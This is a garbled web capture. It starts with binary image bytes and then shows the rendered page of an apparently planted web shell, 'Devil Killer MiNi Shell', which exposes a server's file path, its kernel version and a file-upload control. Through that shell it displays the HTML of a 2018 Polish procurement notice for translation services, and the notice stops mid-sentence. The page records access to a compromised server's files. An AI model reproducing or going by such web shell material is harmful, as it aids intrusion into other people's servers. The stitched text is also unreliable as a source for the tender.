JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20180822/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20180822/597945-N-2018.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 597945-N-2018 z dnia 2018-08-22 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Agencja Rozwoju Pomorza S.A.</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Kompleksowe usługi w zakresie tłumaczeń</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Usługi</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Tak</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu">1. Circular Economy Tools to Support Innovation In Green And Blue Tourism Smes Cirtoinno - współfinansowany z Europejskiego Fundusz Rozwoju Regionalnego w ramach Programu Interreg Południowy Bałtyk 2014-2020; 2. Supporting Non-technological Innovation in Owner-managed Manufacturing SMEs through increased capacity of business intermediaries - współfinansowany z program Interreg Region Morza Bałtyckiego 2014-2020, Priorytet 1 - Potencjał dla innowacji, Cel specyficzny 1.3 - Innowacje nietechnologiczne; 3. Everywhere International SMEs (EIS), finansowanego z funduszy programu Interreg Europe; 4. Pomorski Broker Eksportowy. Kompleksowy system wspierania eksportu w województwie pomorskim - współfinansowany z Europejskiego Fundusz Rozwoju Regionalnego , w ramach Regionalnego Programu Operacyjnego Województwa Pomorskiego na lata 2014-2020, Osi Priorytetowej 2 Przedsiębiorstwa, Działanie 2.3 Aktywność Eksportowa; 5. Invest In Pomerania 2020 - współfinansowany z Europejskiego Fundusz Rozwoju Regionalnego , w ramach Regionalnego Programu Operacyjnego Województwa Pomorskiego na lata 2014-2020, Osi Priorytetowej 2 Przedsiębiorstwa, Działanie 2,5 Inwestorzy zewnętrzni;</span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej - mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy">3.	Dodatkowo Zamawiający informuje, że:1)	Zamawiający nie dopuszcza możliwości składania ofert wariantowych.2)	Zamawiający nie przewiduje udzielania zamówień, o których mowa w art. 67 ust. 1 pkt 6 ustawy Pzp.3)	Rozliczenia między Zamawiającym a Wykonawcą prowadzone będą w PLN.4)	Zamawiający nie przewiduje aukcji elektronicznej. 5)	Zamawiający nie przewiduje zwrotu kosztów udziału w niniejszym postępowaniu.6)	Zamawiający nie przewiduje zawarcia umowy ramowej.7)	Zamawiający nie przewiduje ustanowienia dynamicznego systemu zakupów. 8)	Zamawiający nie ogranicza możliwości ubiegania się o zamówienie publiczne tylko dla Wykonawców, u których ponad 50% pracowników stanowią osoby niepełnosprawne. 9)	Postępowanie prowadzone jest w języku polskim. 10)	Wykonawca może powierzyć wykonanie części zamówienia podwykonawcy. Zamawiający żąda wskazania przez wykonawcę części zamówienia, których wykonanie zamierza powierzyć podwykonawcom, i podania przez wykonawcę firm podwykonawców.11)	Zamawiający nie zastrzega obowiązku osobistego wykonania przez wykonawcę kluczowych części zamówienia na usługi.</span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Agencja Rozwoju Pomorza S.A.</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">19004453000000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">Al. Grunwaldzka</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">472D</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">80-309 </span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Gdańsk</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">pomorskie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">58 32 33 100</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">maria.warkusz@arp.gda.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">58 32 33 200</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">arp.gda.pl; bip.arp.gda.pl</span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Inny (proszę określić):</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny">Spółka akcyjna</span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia">arp.gda.pl; bip.arp.gda.pl</span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">arp.gda.pl; bip.arp.gda.pl</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Tak</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">Składanie ofert odbywa się za pośrednictwem operatora pocztowego w rozumieniu ustawy z dnia 23 listopada 2012 r. Prawo pocztowe, osobiście lub za pośrednictwem posłańca. Nie dopuszcza się składania ofert w formie elektronicznej. </span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">Agencja Rozwoju Pomorza S.A., AL. Grunwaldzka 472 D, 80-309 Gdańsk </span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Kompleksowe usługi w zakresie tłumaczeń</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny"></span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Usługi</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy"></span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">1.	Przedmiotem zamówienia są kompleksowe usługi w zakresie tłumaczeń pisemnych, weryfikacji, a także tłumaczeń ustnych - konsekutywnych i symultanicznych wraz z wypożyczeniem odpowiedniego sprzętu do tłumaczenia symultanicznego dokumentów i wydarzeń dla Agencji Rozwoju Pomorza S.A.2.	Szczegółowo przedmiot zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.3.	Przedmiot zamówienia został podzielony na następujące części:a.	tłumaczenia pisemne obejmujące języki: angielski, niemiecki, francuski i rosyjski, b.	tłumaczenia pisemne obejmujące języki: ukraiński, hiszpański, szwedzki, norweski, fiński i duński, c.	tłumaczenia pisemne obejmujące języki: chiński i japoński,d.	weryfikacja przetłumaczonego tekstu z języka polskiego na język angielski oraz z języka angielskiego na język polski przez drugiego tłumacza,e.	tłumaczenia ustne konsekutywne obejmujące języki: angielski, chiński i japoński,f.	tłumaczenia ustne symultaniczne obejmujące język angielski wraz z wypożyczeniem i obsługą sprzętu do tłumaczenia symultanicznego.4.	Zamawiający dopuszcza możliwość składania ofert częściowych. Przez ofertę częściową rozumie się ofertę na część przedmiotu zamówienia, określoną w ust. 3. Wykonawca może złożyć ofertę na jedną, kilka lub wszystkie części. 5.	Przedmiot zamówienia musi być realizowany w zgodzie ze standardami określonymi w normie dotyczącej usług tłumaczeniowych PN-EN ISO 17100:2015-06 lub równoważnej (w odniesieniu do określenia: zakresu tłumaczeń, terminów i definicji, zasobów ludzkich, technicznych i technologicznych, procesów i działań wstępnych, procesu produkcyjnego, działań po oddaniu tłumaczenia, informacji zwrotnej i końcowych, działań administracyjnych oraz definicji pojęć takich jak: tłumaczenie, usługa tłumaczeniowa, tłumaczenie wspomagane komputerowo (CAT), tłumaczenie maszynowe, postedycja, weryfikacja, redakcja, korekta, treść, język źródłowy, język docelowy, dostawca usług tłumaczeniowych (TSP), kierownik projektu, kompetencje itd.)6.	Zamawiający zastrzega sobie prawo do wykorzystania niepełnej ilości stron/godzin. Zamawiający dokona zamówień jednostkowych na wartość łączną nie mniejszej niż 60% całkowitej ceny danej części zamówienia zawartej w ofercie wybranego Wykonawcy. Pozostałe 40% całkowitej ceny danej części zamówienia zawartej w ofercie wybranego Wykonawcy Zamawiający wykorzysta w razie zaistnienia takiej potrzeby. Łączna wartość zamówień jednostkowych nie przekroczy całkowitej ceny danej części zamówienia zawartej w ofercie wybranego Wykonawcy.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">79530000-8</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>79540000-1</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc"></span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc"></span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów - szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Nie</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst"></span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach"></span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach"></span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow">Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.</span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow"></span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow"></span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">1)	Wykonawca wykaże, że w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeśli okres prowadzenia działalności jest krótszy w tym okresie, należycie wykonał - lub w przypadku świadczeń okresowych lub ciągłych również wykonuje: a.	w zakresie części I - usługi tłumaczeń pisemnych w językach: angielskim o łącznej wartości nie mniejszej niż 15 000,00 zł brutto, niemieckim o łącznej wartości nie mniejszej niż 3 000 zł brutto, francuskim o łącznej wartości nie mniejszej niż 3 000 zł brutto i rosyjskim o łącznej wartości nie mniejszej niż 3 000 zł brutto, b.	w zakresie części II - usługi tłumaczeń pisemnych w językach: ukraińskim, hiszpańskim, szwedzkim, norweskim, fińskim i duńskim o łącznej wartości dla każdego języka nie mniejszej niż 3 000,00 zł brutto, c.	w zakresie części III - usługi tłumaczeń pisemnych w językach: chiński i japoński o łącznej wartości dla każdego języka nie mniejszej niż 15 000,00 zł brutto,d.	w zakresie części IV - usługi polegające na weryfikacji przetłumaczonego tekstu z języka polskiego na język angielski oraz z języka angielskiego na język polski o łącznej wartości nie mniejszej niż 5 000,00 zł bruttoe.	w zakresie części V - usługi tłumaczeń ustnych konsekutywnych w językach: angielskim, chińskim i japońskim o łącznej wartości dla każdego języka nie mniejszej niż 10 000,00 zł brutto,f.	w zakresie części VI - usługi tłumaczeń ustnych symultanicznych w języku angielskim o łącznej wartości nie mniejszej niż 10 000,00 zł brutto.Uwaga! a.	Zamawiający dopuszcza możliwość przedstawienia usług określonych w ppkt. a-f, wykonanych w ramach jednej umowy (kontraktu). W tym przypadku Wykonawca obowiązany jest przedstawić odrębne wartości usługi dla warunków określonych w każdym punkcie.b.	W przypadku usług będących w trakcie wykonywania wymagana wartość usługi dotyczy części umowy już zrealizowanej (tj. od dnia rozpoczęcia wykonywania usługi do upływu terminu składania ofert).2)	Wykonawca wykaże, że skieruje do realizacji zamówienia (dysponuje lub będzie dysponował) co najmniej:a.	w zakresie części I zamówienia - 2 tłumaczy pisemnych języka angielskiego, 1 tłumacza pisemnego języka rosyjskiego, 1 tłumacza pisemnego języka francuskiego i 1 tłumacza pisemnego języka niemieckiego, b.	w zakresie części II zamówienia - 1 tłumacza pisemnego z każdego z następujących języków: ukraińskiego, hiszpańskiego, szwedzkiego, norweskiego, fińskiego i duńskiego,c.	w zakresie części III zamówienia - 1 tłumacza pisemnego języka chińskiego i 1 tłumacza pisemnego języka japońskiego,d.	w zakresie części IV zamówienia - 2 tłumaczy pisemnych języka angielskiego, przy czym każdy tłumacz pisemny spełnia poniższe warunki:i.	posiada wykształcenie wyższe na kierunku filologii danego języka zdobyte w kraju lub za granicą, lub ii.	legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie danego języka zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub iii.	ukończyła studia podyplomowe w kraju lub za granicą w zakresie tłumaczenia danego języka, lub iv.	posiada status native speakera oraz: a)	ukończyła studia wyższe, minimum 3-letnie, na kierunku filologia polska w kraju lub za granicą, lub b)	ukończyła studia wyższe, minimum 3-letnie, na kierunku gdzie językiem wykładowym był język polski, lub c)	legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub v.	przetłumaczyła w swoim dorobku zawodowym co najmniej 1000 stron obliczeniowych (tj. 1800 